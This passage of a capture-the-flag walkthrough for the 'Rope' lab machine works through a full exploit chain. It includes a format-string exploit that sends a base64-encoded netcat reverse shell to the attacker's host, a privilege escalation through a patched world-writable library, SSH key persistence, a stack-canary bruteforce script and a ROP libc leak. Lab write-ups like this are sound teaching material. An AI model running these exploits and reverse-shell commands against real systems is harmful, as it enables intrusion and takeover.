io.send(payload+' '+fmt+'\r\n\r\n')
If we now listen on port 7001
and trigger our python script against the server, we successfully receive a reverse shell:
root@kali:~/htb/boxes/rope# ./expl.py
[+] Opening connection to 10.10.10.148 on port 9999: Done
[*] img_base : 0x565ec000
[*] libc_base: 0xf7cff000
[*] Closed connection to 10.10.10.148 port 9999
[*] puts_got : 0x565f1048
[*] system : 0xf7d3bd10
[+] Opening connection to 10.10.10.148 on port 9999: Done
[*] Closed connection to 10.10.10.148 port 9999
root@kali:~/htb/boxes/rope/loot# nc -lvp 7001
listening on [any] 7001 ...
10.10.10.148: inverse host lookup failed: Unknown host
connect to [10.10.12.95] from (UNKNOWN) [10.10.10.148] 35190
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(john) gid=1001(john) groups=1001(john)
Here is the full python script:
#!/usr/bin/env python
from pwn import *
debug = False
rhost = '10.10.10.148'
rport = 9999
lhost = '10.10.12.95'
lport = 7001
if (debug): rhost = '127.0.0.1'
# leak image and libc base
io = remote(rhost, rport)
io.send('GET ../../../../../proc/self/maps\r\nRange: bytes=0-10000\r\n\r\n')
maps = io.recvuntil('[stack]').split('\n')
img_base = int(maps[6].split('-')[0], 16) # 7th line contains image base
libc_base = int(maps[12].split('-')[0], 16) # 13th line contains libc base
log.info('img_base : ' + hex(img_base))
log.info('libc_base: ' + hex(libc_base))
io.close()
# calculate addresses
puts_got = img_base + 0x5048 # live server
system = libc_base + 0x3cd10 # live server
if (debug): system = libc_base + 0x423d0 # local
log.info('puts_got : ' + hex(puts_got))
log.info('system : ' + hex(system))
# craft format string
system_lword = system & 0xffff
system_hword = system >> 16
fmt = p32(puts_got)
fmt += p32(puts_got+2)
fmt += '%25'+str(system_lword-8)+'x'
fmt += '%2553$hn'
fmt += '%25'+str(system_hword-system_lword)+'x'
fmt += '%2554$hn'
io = remote(rhost, rport)
cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '+lhost+' '+str(lport)+' >/tmp/f'
payload = 'echo '+cmd.encode('base64').replace('\n','')+'|base64 -d|bash'
payload = payload.replace(' ', '${IFS}')
io.send(payload+' '+fmt+'\r\n\r\n')
io.close()
Escalating from john to r4j (readlogs)
Let’s start by elavating our shell to a TTY
. python
cannot be found, though python3
is available:
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: /root/.bashrc: Permission denied
john@rope:/opt/www$
If python
would not be present at all we could use script -q /dev/null
to get a TTY
.
By pressing CTRL+Z
and entering stty raw -echo
followed by fg
we get a fully interactive shell.
Before running a script like LinEnum I usually tend to dig around a little bit manually first. The home directory of our current user john
doesn’t seem to contain something useful:
john@rope:/home/john$ ls -al
total 28
drwxrwx--- 4 john john 4096 Aug 5 08:50 .
drwxr-xr-x 4 root root 4096 Jun 19 15:08 ..
lrwxrwxrwx 1 john john 9 Jun 19 17:16 .bash_history -> /dev/null
-rwxrwx--- 1 john john 220 Jun 19 15:08 .bash_logout
-rwxrwx--- 1 john john 3771 Jun 19 15:08 .bashrc
drwx------ 2 john john 4096 Aug 5 08:50 .cache
drwx------ 3 john john 4096 Aug 5 08:50 .gnupg
-rwxrwx--- 1 john john 807 Jun 19 15:08 .profile
By reading the /etc/passwd
file through the web server we have already seen that there is another user called r4j
:
john@rope:/home/john$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
r4j:x:1000:1000:r4j:/home/r4j:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
The command sudo -l
reveals that we can run the program /usr/bin/readlogs
as r4j
:
john@rope:/home/john$ sudo -l
Matching Defaults entries for john on rope:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on rope:
(r4j) NOPASSWD: /usr/bin/readlogs
readlogs
seems to be a custom ELF binary:
john@rope:/home/john$ ls -al /usr/bin/readlogs
-rwxr-xr-x 1 root root 8288 Jun 19 18:54 /usr/bin/readlogs
john@rope:/home/john$ file /usr/bin/readlogs
/usr/bin/readlogs: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=67bdf14148530fcc5c26260c3450077442e89f66, not stripped
Let’s analyze the file on our own local machine. For a small file like this, we can simply copy&paste the base64 encoded file.
Victim machine:
john@rope:/home/john$ md5sum /usr/bin/readlogs
198666187caa04ddc5f4def892d1714a /usr/bin/readlogs
john@rope:/home/john$ base64 /usr/bin/readlogs
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAQAUAAAAAAABAAAAAAAAAACAZAAAAAAAAAAAAAEAAOAAJ
AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAAgA
AAAAAAAAAwAAAAQAAAA4AgAAAAAAADgCAAAAAAAAOAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
...
... copy ...
Attacker machine:
root@kali:~/htb/boxes/rope/loot# vi readlogs.b64
... paste ...
root@kali:~/htb/boxes/rope/loot# base64 -d readlogs.b64 > readlogs
root@kali:~/htb/boxes/rope/loot# md5sum readlogs
198666187caa04ddc5f4def892d1714a readlogs
By comparing the md5
checksums, we can verify that we correctly copied the file.
A quick glance at the file using radare2
shows, that there is only a main
function within the binary:
root@kali:~/htb/boxes/rope/loot# r2 -A readlogs
[Invalid instruction of 16368 bytes at 0x124 entry0 (aa)
Invalid instruction of 16366 bytes at 0x124
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000540]> afl
0x00000000 6 292 -> 318 sym.imp.__libc_start_main
0x000004f8 3 23 sym._init
0x00000520 1 6 sym.imp.printlog
0x00000530 1 6 sub.__cxa_finalize_530
0x00000540 1 43 entry0
0x00000570 4 50 -> 40 sym.deregister_tm_clones
0x000005b0 4 66 -> 57 sym.register_tm_clones
0x00000600 5 58 -> 51 sym.__do_global_dtors_aux
0x00000640 1 10 entry.init0
0x0000064a 1 21 sym.main
0x00000660 3 101 -> 92 sym.__libc_csu_init
0x000006d0 1 2 sym.__libc_csu_fini
0x000006d4 1 9 sym._fini
[0x00000540]> pdf @ sym.main
;-- main:
/ (fcn) sym.main 21
| sym.main (int argc, char **argv, char **envp);
| ; DATA XREF from entry0 (0x55d)
| 0x0000064a 55 push rbp
| 0x0000064b 4889e5 mov rbp, rsp
| 0x0000064e b800000000 mov eax, 0
| 0x00000653 e8c8feffff call sym.imp.printlog
| 0x00000658 b800000000 mov eax, 0
| 0x0000065d 5d pop rbp
\ 0x0000065e c3 ret
[0x00000540]>
The main
function calls the imported function printlog
. By running ldd
we can see, that the binary is using a custom library called liblog.so
, which probably implements this function:
john@rope:/home/john$ ldd /usr/bin/readlogs
linux-vdso.so.1 (0x00007ffc52bbc000)
liblog.so => /lib/x86_64-linux-gnu/liblog.so (0x00007f5b07148000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5b0693e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5b06f31000)
The library has the permissions 0777
on the victim machine and can thus be written by everyone:
john@rope:/home/john$ ls -al /lib/x86_64-linux-gnu/liblog.so
-rwxrwxrwx 1 root root 15984 Jun 19 19:06 /lib/x86_64-linux-gnu/liblog.so
This means that we can simply replace the library with our own one to execute arbitrary code as the user r4j
by running readlogs
with sudo
.
At first let’s download the original library to our local machine. This time using nc
:
Attacker machine:
root@kali:~/htb/boxes/rope/loot# nc -lvp 7002 > liblog.so
listening on [any] 7002 ...
Victim machine:
john@rope:/home/john$ md5sum /lib/x86_64-linux-gnu/liblog.so
d0b1366af0ae4c6500feb303901f3136 /lib/x86_64-linux-gnu/liblog.so
john@rope:/home/john$ cat /lib/x86_64-linux-gnu/liblog.so | nc 10.10.12.95 7002
Attacker machine:
...
10.10.10.148: inverse host lookup failed: Unknown host
connect to [10.10.12.95] from (UNKNOWN) [10.10.10.148] 40724
root@kali:~/htb/boxes/rope/loot# md5sum liblog.so
d0b1366af0ae4c6500feb303901f3136 liblog.so
Using radare2
again, we can see that the printlog
function simply calls system
with the argument /usr/bin/tail -n10 /var/log/auth.log
:
root@kali:~/htb/boxes/rope/loot# r2 -A liblog.so
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00001050]> afl
0x00001000 3 23 sym._init
0x00001030 1 6 sym.imp.system
0x00001040 1 6 sub.__cxa_finalize_1040
0x00001050 4 41 -> 34 entry0
0x00001080 4 57 -> 51 sym.register_tm_clones
0x000010c0 5 57 -> 50 sym.__do_global_dtors_aux
0x00001100 1 5 entry.init0
0x00001105 1 24 sym.printlog
0x00001120 1 9 sym._fini
[0x00001050]> pdf @ sym.printlog
/ (fcn) sym.printlog 24
| sym.printlog ();
| 0x00001105 55 push rbp
| 0x00001106 4889e5 mov rbp, rsp
| 0x00001109 488d3df00e00. lea rdi, qword str.usr_bin_tail__n10__var_log_auth.log ; segment.LOAD2 ; 0x2000 ; "/usr/bin/tail -n10 /var/log/auth.log" ; const char *string
| 0x00001110 b800000000 mov eax, 0
| 0x00001115 e816ffffff call sym.imp.system ; int system(const char *string)
| 0x0000111a 90 nop
| 0x0000111b 5d pop rbp
\ 0x0000111c c3 ret
[0x00001050]>
In order to replace the library with our own one, we could compile a shared object ourself. Though it is even easier to simply patch the existing library to fit our needs. In order to do this, we create a copy of the library and open it with radare2
in write mode (-w
):
root@kali:~/htb/boxes/rope/loot# cp liblog.so liblog_modified.so
root@kali:~/htb/boxes/rope/loot# r2 -Aw liblog_modified.so
...
Now we patch the string passed to system
with /bin/bash
in order to spawn a shell instead of displaying the contents of /var/log/auth.log
:
[0x00001050]> iz
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x00002000 0x00002000 36 37 (.rodata) ascii /usr/bin/tail -n10 /var/log/auth.log
[0x00001050]> s 0x00002000
[0x00002000]> "wz /bin/bash"
[0x00002000]>
At next we replace the library with our modified version. Beforehand we create a copy of the original liblog.so
.
Attacker machine:
root@kali:~/htb/boxes/rope/loot# nc -lvp 7002 < liblog_modified.so
listening on [any] 7002 ...
Victim machine:
john@rope:/home/john$ cp /lib/x86_64-linux-gnu/liblog.so /tmp
john@rope:/home/john$ nc 10.10.12.95 7002 > /lib/x86_64-linux-gnu/liblog.so
If we now run readlogs
with sudo
as the user r4j
we get a shell as this user and can restore the original library:
john@rope:/home/john$ sudo -u r4j /usr/bin/readlogs
bash: /root/.bashrc: Permission denied
r4j@rope:/home/john$ id
uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),4(adm)
r4j@rope:/home/john$ cp /tmp/liblog.so /lib/x86_64-linux-gnu/liblog.so
The home directory of r4j
contains the user.txt
file:
r4j@rope:/home/john$ cd ../r4j/
r4j@rope:/home/r4j$ ls -al
total 40
drwxrwx--- 5 r4j r4j 4096 Oct 10 05:26 .
drwxr-xr-x 4 root root 4096 Jun 19 15:08 ..
lrwxrwxrwx 1 r4j r4j 9 Jun 19 17:10 .bash_history -> /dev/null
-rwxrwx--- 1 r4j r4j 220 Apr 4 2018 .bash_logout
-rwxrwx--- 1 r4j r4j 3771 Apr 4 2018 .bashrc
drwxrwx--- 2 r4j r4j 4096 Jun 19 15:06 .cache
drwxrwx--- 3 r4j r4j 4096 Jun 19 15:06 .gnupg
-rwxrwx--- 1 r4j r4j 807 Apr 4 2018 .profile
-rw-r--r-- 1 root root 66 Jun 19 19:03 .selected_editor
drwxr-xr-x 2 r4j r4j 4096 Oct 10 05:26 .ssh
-rwxrwx--- 1 r4j r4j 0 Jun 19 15:07 .sudo_as_admin_successful
-rw-r--r-- 1 root root 33 Jun 19 19:24 user.txt
r4j@rope:/home/r4j$ cat user.txt
deb9 ... (output truncated)
Root
Local Recon
In order to be able to login via SSH, let’s first create an RSA key and store the public key in the .ssh/authorized_keys
file of r4j
.
Attacker machine:
root@kali:~/htb/boxes/rope/loot# ssh-keygen -f id_rsa_r4j
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa_r4j.
Your public key has been saved in id_rsa_r4j.pub.
The key fingerprint is:
SHA256:DyUxUTXbKswz12Go8owT7jRcFFAKNcsI9YL8FwyTkoo root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .o=oB=+.o |
| .oo.O * . = |
| . .o.o O o o + |
|E . . . B . + . |
| . S O o . |
| + X = |
| B + |
| o o |
| . |
+----[SHA256]-----+
root@kali:~/htb/boxes/rope/loot# cat id_rsa_r4j.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADA...
... copy ...
Victim machine:
r4j@rope:/home/r4j$ mkdir .ssh
r4j@rope:/home/r4j$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADA ... paste ...' > .ssh/authorized_keys
Now we can login via SSH:
root@kali:~/htb/boxes/rope/loot# ssh -i id_rsa_r4j r4j@10.10.10.148
The authenticity of host '10.10.10.148 (10.10.10.148)' can't be established.
ECDSA key fingerprint is SHA256:uCguytQ5iFizo89a8JaW34JkqSy6n1fPOmycil6onkc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.148' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-52-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Oct 10 05:27:00 UTC 2019
System load: 0.03 Processes: 177
Usage of /: 28.5% of 14.70GB Users logged in: 0
Memory usage: 14% IP address for ens33: 10.10.10.148
Swap usage: 0%
152 packages can be updated.
72 updates are security updates.
Last login: Thu Jun 20 07:30:04 2019 from 192.168.2.106
r4j@rope:~$ id
uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),4(adm)
As previously mentioned we could now run an enumeration script with the new gained privileges as user r4j
, though I will skip this here and walk right away to the the necessary findings.
The thing to notice is that there is a service listening on localhost port 1337
:
r4j@rope:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
When connecting to the service, it will prompt us to enter a message to the admin:
r4j@rope:~$ nc 0 1337
Please enter the message you want to send to admin:
test
Done.
The folder /opt
, which also contained the httpserver
we exploited earlier, contains another folder called support
, which we are now able to read since r4j
is a member of the group adm
:
r4j@rope:/opt$ ls -al
total 20
drwxr-xr-x 5 root root 4096 Jun 20 06:19 .
drwxr-xr-x 25 root root 4096 Jun 19 16:25 ..
drwx------ 2 root root 4096 Jun 19 19:06 run
drwxr-x--- 2 root adm 4096 Jun 19 16:11 support
drwxr-xr-x 7 root root 4096 Jun 20 07:27 www
This folder contains another binary called contact
:
r4j@rope:/opt$ cd support/
r4j@rope:/opt/support$ ls -al
total 24
drwxr-x--- 2 root adm 4096 Jun 19 16:11 .
drwxr-xr-x 5 root root 4096 Jun 20 06:19 ..
-rwxr-x--- 1 root adm 14632 Jun 19 15:48 contact
r4j@rope:/opt/support$ file contact
contact: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cc3b330cabc203d0d813e3114f1515b044a1fd4f, stripped
Obviously this is the binary running on port 1337
with root privileges:
r4j@rope:/opt/support$ ps aux | grep contact
root 1145 0.0 0.0 4628 920 ? Ss 04:05 0:00 /bin/sh -c /opt/support/contact
root 1148 0.0 0.0 4516 740 ? S 04:05 0:00 /opt/support/contact
root 1885 0.0 0.0 4516 80 ? S 05:25 0:00 /opt/support/contact
r4j 2199 0.0 0.0 13136 1076 pts/1 S+ 06:10 0:00 grep --color=auto contact
contact
So let’s download the binary to our local machine in order to analyze it:
root@kali:~/htb/boxes/rope/loot# scp -i id_rsa_r4j r4j@10.10.10.148:/opt/support/contact .
contact 100% 14KB 628.6KB/s 00:00
The enabled security options are the same as on httpserver
. The only difference is that we are now facing a 64-bit binary:
root@kali:~/htb/boxes/rope/loot# checksec contact
[*] '/root/htb/boxes/rope/loot/contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
The binary is big enough to start up ghidra
. Notice that it is stripped and thus there is no function called main
. Though we can easily find the main
function by selecting the entry
function (left side). The first parameter passed to __libc_start_main
is the main
function:
So basically the progam is accepting connections on port 1337
in an infinite loop. A new connection is handled by a forked child process, which displays the message we have already seen:
Within the function getMessage
(I renamed it) 0x400
bytes are read from the socket connection:
According to the decompiled code the buffer in which the 0x400
bytes are read (local_48
) has only 56
elements. Within the disassembly output we can see that within the function prologue indeed only 0x50
bytes are reserved on the stack:
The buffer only being 56
bytes large makes it definitely vulnerable to a stack overflow.
Let’s quickly verify this on our local machine:
root@kali:~/htb/boxes/rope/loot# python -c 'print("A"*256)'|nc 0 1337
Please enter the message you want to send to admin:
...
root@kali:~/htb/boxes/rope/loot# ./contact
listen on port 1337, fd is 3
[+] Request accepted fd 4, pid 0
*** stack smashing detected ***: <unknown> terminated
The program crashed because the stack canary has been overwritten. To further analyze the vulnerability we can attach gdb
to the running process like we did before with httpserver
. Remember to disable ASLR
beforehand, so it will be more easier as the address will stay the same:
root@kali:~/htb/boxes/rope/loot# echo 0 > /proc/sys/kernel/randomize_va_space
root@kali:~/htb/boxes/rope/loot# gdb ./contact $(pidof contact)
...
This time the binary is stripped so we don’t have any symbols. In order to disassemble the vulnerable function in gdb
we can lookup the image base (i proc mappings
) and add the offset of the function to it (the offset can for example be seen in ghidra
):
gdb-peda$ i proc mappings
process 3757
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x555555554000 0x555555555000 0x1000 0x0 /root/htb/boxes/rope/loot/contact
...
gdb-peda$ x/20i (0x555555554000+0x159a)
0x55555555559a: push rbp
0x55555555559b: mov rbp,rsp
0x55555555559e: sub rsp,0x50
0x5555555555a2: mov DWORD PTR [rbp-0x44],edi
0x5555555555a5: mov rax,QWORD PTR fs:0x28
0x5555555555ae: mov QWORD PTR [rbp-0x8],rax
0x5555555555b2: xor eax,eax
0x5555555555b4: lea rsi,[rbp-0x40]
0x5555555555b8: mov eax,DWORD PTR [rbp-0x44]
0x5555555555bb: mov ecx,0x0
0x5555555555c0: mov edx,0x400
0x5555555555c5: mov edi,eax
0x5555555555c7: call 0x555555555030 <recv@plt>
0x5555555555cc: nop
0x5555555555cd: mov rdx,QWORD PTR [rbp-0x8]
0x5555555555d1: xor rdx,QWORD PTR fs:0x28
0x5555555555da: je 0x5555555555e1
0x5555555555dc: call 0x555555555070 <__stack_chk_fail@plt>
0x5555555555e1: leave
0x5555555555e2: ret
The second instruction after the recv
call loads the saved canary from the stack:
0x5555555555cd: mov rdx,QWORD PTR [rbp-0x8]
Let’s set a breakpoint here …
gdb-peda$ b *0x5555555555cd
Breakpoint 1 at 0x5555555555cd
gdb-peda$ c
Continuing.
… and send a pattern to the process:
root@kali:~/htb/boxes/rope/loot# python -c 'from pwn import *;print(cyclic(256))'|nc 0 1337
Please enter the message you want to send to admin:
The breakpoint is hit and we can determine which value will be moved to rdx
as the saved canary:
...
[-------------------------------------code-------------------------------------]
0x5555555555c5: mov edi,eax
0x5555555555c7: call 0x555555555030 <recv@plt>
0x5555555555cc: nop
=> 0x5555555555cd: mov rdx,QWORD PTR [rbp-0x8]
0x5555555555d1: xor rdx,QWORD PTR fs:0x28
0x5555555555da: je 0x5555555555e1
0x5555555555dc: call 0x555555555070 <__stack_chk_fail@plt>
0x5555555555e1: leave
...
Thread 2.1 "contact" hit Breakpoint 1, 0x00005555555555cd in ?? ()
gdb-peda$ x/s $rbp-0x8
0x7fffffffe138: "oaaapaaaqaaar"...
Accordingly the offset to the saved canary is 56
:
root@kali:~/htb/boxes/rope/loot# python
...
>>> from pwn import *
>>> cyclic(256).index("oaaapaaaqaaa")
56
Bruteforce
In order to reach the ret
instruction at the end of the function and return to an arbitrary address we overwrote the return address with, we have to preserve the canary. Luckily the program will fork a new process on every connection and the stack canary will stay the same for all forks. This means that we can bruteforce the canary byte-by-byte. As it would be totally impratical to bruteforce a 56-bit canary (the lowest byte is always 0x00
) at once (2^56 = 72.057.594.037.927.936), it is quite acceptable to bruteforce it byte-by-byte (256+256+.. = 256*7 = 1.792).
To bruteforce the canary we send 56
arbitrary bytes (buffer) + 0x00
(lowest byte of canary) + our guess for the second byte of the canary. If we successfully found the second byte, we proceed with the third and so forth.
There is only one question yet. How can we determine if we chose the right value for the canary byte? Luckily the program is built quite suitable for this. If the stack canary in the vulnerable function (I renamed it to getMessage()
) is destroyed, the program will exit immediately. Otherwise the function returns gracefully and the message "Done."
is send to the socket connection:
This means that we can determine if we found the right byte for the canary by watching for the message "Done."
. The following python script bruteforces the canary:
root@kali:~/htb/boxes/rope# cat bruteCanary.py
#!/usr/bin/env python
from pwn import *
context.log_level = 21 # disable connection log
rhost = '127.0.0.1'
rport = 1337
canary = '\x00'
expl = 'A' * 56
while (len(canary) < 8):
for i in range(256):
fail = False
io = remote(rhost, rport)
io.send(expl+canary+chr(i))
try:
r = io.recvuntil('Done.\n', timeout=1.0)
if (len(r) == 0): fail = True # timeout
except: fail = True # EOF
io.close()
if (fail):
if (i == 255):
print('bruteforcing failed')
quit()
continue
print('found canary byte: ' + hex(i))
canary += chr(i)
io.close()
break
print('canary fully bruteforced: ' + canary.encode('hex'))
Running the script locally quickly reveals the canary:
root@kali:~/htb/boxes/rope# ./bruteCanary.py
found canary byte: 0xee
found canary byte: 0x3a
found canary byte: 0x20
found canary byte: 0x68
found canary byte: 0x9e
found canary byte: 0xca
found canary byte: 0x19
canary fully bruteforced: 00ee3a20689eca19
Since we know the value of the canary now, let’s verify that we can control the instruction pointer by overwriting the return address.
In order to do this, we attach to the running process and set a breakpoint at the ret
instruction:
root@kali:~/htb/boxes/rope/loot# gdb ./contact $(pidof contact)
...
gdb-peda$ x/20i (0x555555554000+0x159a)
...
0x5555555555c7: call 0x555555555030 <recv@plt>
0x5555555555cc: nop
0x5555555555cd: mov rdx,QWORD PTR [rbp-0x8]
0x5555555555d1: xor rdx,QWORD PTR fs:0x28
0x5555555555da: je 0x5555555555e1
0x5555555555dc: call 0x555555555070 <__stack_chk_fail@plt>
0x5555555555e1: leave
0x5555555555e2: ret
gdb-peda$ b *0x5555555555e2
Breakpoint 1 at 0x5555555555e2
gdb-peda$ c
Now we use the following script to overwrite the canary with the original value and set the return address to 0xdeadbeefdeadbeef
:
root@kali:~/htb/boxes/rope# cat expl_test.py
#!/usr/bin/env python
from pwn import *
rhost = '127.0.0.1'
rport = 1337
io = remote(rhost, rport)
# canary bruteforced beforehand
canary = '00ee3a20689eca19'.decode('hex')
rbp = p64(0)
ret_addr = p64(0xdeadbeefdeadbeef)
expl = 'A' * 56
io.send(expl+canary+rbp+ret_addr)
io.interactive()
When running the script, the breakpoint is hit:
root@kali:~/htb/boxes/rope# ./expl_test.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
...
[----------------------------------registers-----------------------------------]
RAX: 0x50 ('P')
RBX: 0x0
RCX: 0x7ffff7ef061d (<__libc_recv+29>: cmp rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x7fffffffe100 ('A' <repeats 56 times>)
RDI: 0x4
RBP: 0x0
RSP: 0x7fffffffe148 --> 0xdeadbeefdeadbeef
RIP: 0x5555555555e2 (ret)
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x246
R12: 0x555555555180 (xor ebp,ebp)
R13: 0x7fffffffe2b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5555555555da: je 0x5555555555e1
0x5555555555dc: call 0x555555555070 <__stack_chk_fail@plt>
0x5555555555e1: leave
=> 0x5555555555e2: ret
0x5555555555e3: nop WORD PTR cs:[rax+rax*1+0x0]
0x5555555555ed: nop DWORD PTR [rax]
0x5555555555f0: push r15
0x5555555555f2: mov r15,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe148 --> 0xdeadbeefdeadbeef
0008| 0x7fffffffe150 --> 0x0
0016| 0x7fffffffe158 --> 0x400000000
0024| 0x7fffffffe160 --> 0x0
0032| 0x7fffffffe168 --> 0x19ca9e68203aee00
0040| 0x7fffffffe170 --> 0x7fffffffe1d0 --> 0x5555555555f0 (push r15)
0048| 0x7fffffffe178 --> 0x5555555554cf (mov DWORD PTR [rbp-0x24],eax)
0056| 0x7fffffffe180 --> 0x7fffffffe2b8 --> 0x7fffffffe581 ("./contact")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 2.1 "contact" hit Breakpoint 1, 0x00005555555555e2 in ?? ()
gdb-peda$
As we can see, the top element on the stack, which is the return address, has successfully been overwritten with the value 0xdeadbeefdeadbeef
. If we continue the execution we get a segmentation fault, since the ret
instruction pops this value into the instruction pointer. Accordingly we succeeded in controlling the instruction pointer.
We can control the instruction pointer, but where should we jump to? We don’t know any address since ASLR
is enabled and the binary was compiled with PIE
as we already figured out:
root@kali:~/htb/boxes/rope/loot# checksec contact
...
PIE: PIE enabled
Accordingly we need a leak first. In order to get this leak, we can simply carry on with our bruteforce approach. The next byte after the canary is the first byte of the saved rbp:
[canary][saved rbp][return address]
If we overwrite this byte with a value different from the original value, the program is likely to crash since we corrupted the saved rbp. When the program crashes, it won’t print out the message "Done."
and we can thus suppose that the value we wrote is not the original value just like we did with the canary. By bruteforcing another 16 bytes we can determine the values of the saved rbp as well as the return address. So let’s adjust the former bruteforce script a little bit:
root@kali:~/htb/boxes/rope# cat bruteAll.py
#!/usr/bin/env python
from pwn import *
context.log_level = 21 # disable connection log
rhost = '127.0.0.1'
rport = 1337
brute_str = '\x00'
expl = 'A' * 56
while (len(brute_str) < 24):
for i in range(256):
fail = False
io = remote(rhost, rport)
io.send(expl+brute_str+chr(i))
try:
r = io.recvuntil('Done.\n', timeout=1.0)
if (len(r) == 0): fail = True # timeout
except: fail = True # EOF
io.close()
if (fail):
if (i == 255):
print('bruteforcing failed')
quit()
continue
print('found byte: ' + hex(i))
brute_str += chr(i)
io.close()
break
u = make_unpacker(64, endian='little', sign='unsigned')
canary = u(brute_str[:8])
rbp = u(brute_str[8:16])
ret_addr = u(brute_str[16:])
print('canary : ' + hex(canary))
print('rbp : ' + hex(rbp))
print('ret_addr: ' + hex(ret_addr))
Notice that I added a timeout in the io.recvuntil
call, since the script might hang otherwise (this probably happens if we overwrite to return address with a value which makes the program not correctly terminating the socket connection). Running the script additionally yields the saved rbp and return address:
root@kali:~/htb/boxes/rope# ./bruteAll.py
found byte: 0xee
found byte: 0x3a
found byte: 0x20
found byte: 0x68
found byte: 0x9e
found byte: 0xca
found byte: 0x19
found byte: 0x10
found byte: 0xe1
found byte: 0xff
found byte: 0xff
found byte: 0xff
found byte: 0x7f
found byte: 0x0
found byte: 0x0
found byte: 0x13
found byte: 0x55
found byte: 0x55
found byte: 0x55
found byte: 0x55
found byte: 0x55
found byte: 0x0
found byte: 0x0
canary : 0x19ca9e68203aee00
s_rbp : 0x7fffffffe110
ret_addr: 0x555555555513
The bruteforced return address is a little bit different from the original return address, which can be inspected using gdb: 0x555555555562
. The reason for this is that the address we bruteforced (0x555555555513
) is smaller than the original value, but did also point to a sequence of instructions, which send the message "Done."
. This doesn’t really matter since the 3 least significant nibbles (4 bit) are not altered by ASLR
and we can assume that we landed somewhere in the sending function, which offset ranges from 0x14ee
to 0x1599
. Accordingly we landed at offset 0x1513
of that function, which makes the image base address equal to 0x555555555513 - 0x1513 = 0x555555554000
. Of course we know that is correct, since we turned off ASLR
on our machine, but now we are able to successfully leak the image base address even if ASLR
is turned on.
Libc Leak
In order to call a function like system
from libc, we still need a libc address. Using the image base address we can construct a ROP-chain, which leaks such an address. Luckily the last call before the ret
instruction within the function we are exploiting is recv
, which makes RDI
still hold the file descriptor of our socket connection. Thus we only need to store a libc address reference in RSI
(e.g. GOT
entry of printf
) and the value 8
in RDX
(count of bytes we want to leak). If we then trigger a call to write
, the program will send us the 8 byte libc address. The ROP-chain looks like this:
...
img_base = ret_addr - 0x1513
print('img_base: ' + hex(img_base))
pop_rdi = 0x164b
pop_rsi_r15 = 0x1649
pop_rdx = 0x1265
write = 0x154e
printf_got = 0x4058
printf_offset = 0x54b40
# leak libc address
expl = 'A' * 56
expl += p64(canary)
expl += p64(rbp)
expl += p64(img_base+pop_rdx)
expl += p64(8)
expl += p64(img_base+pop_rsi_r15)
expl += p64(img_base+printf_got)
expl += p64(0)
expl += p64(img_base+write)
io = remote(rhost, rport)
io.send(expl)
io.recvuntil('admin:\n')
leak = u(io.recv(8))
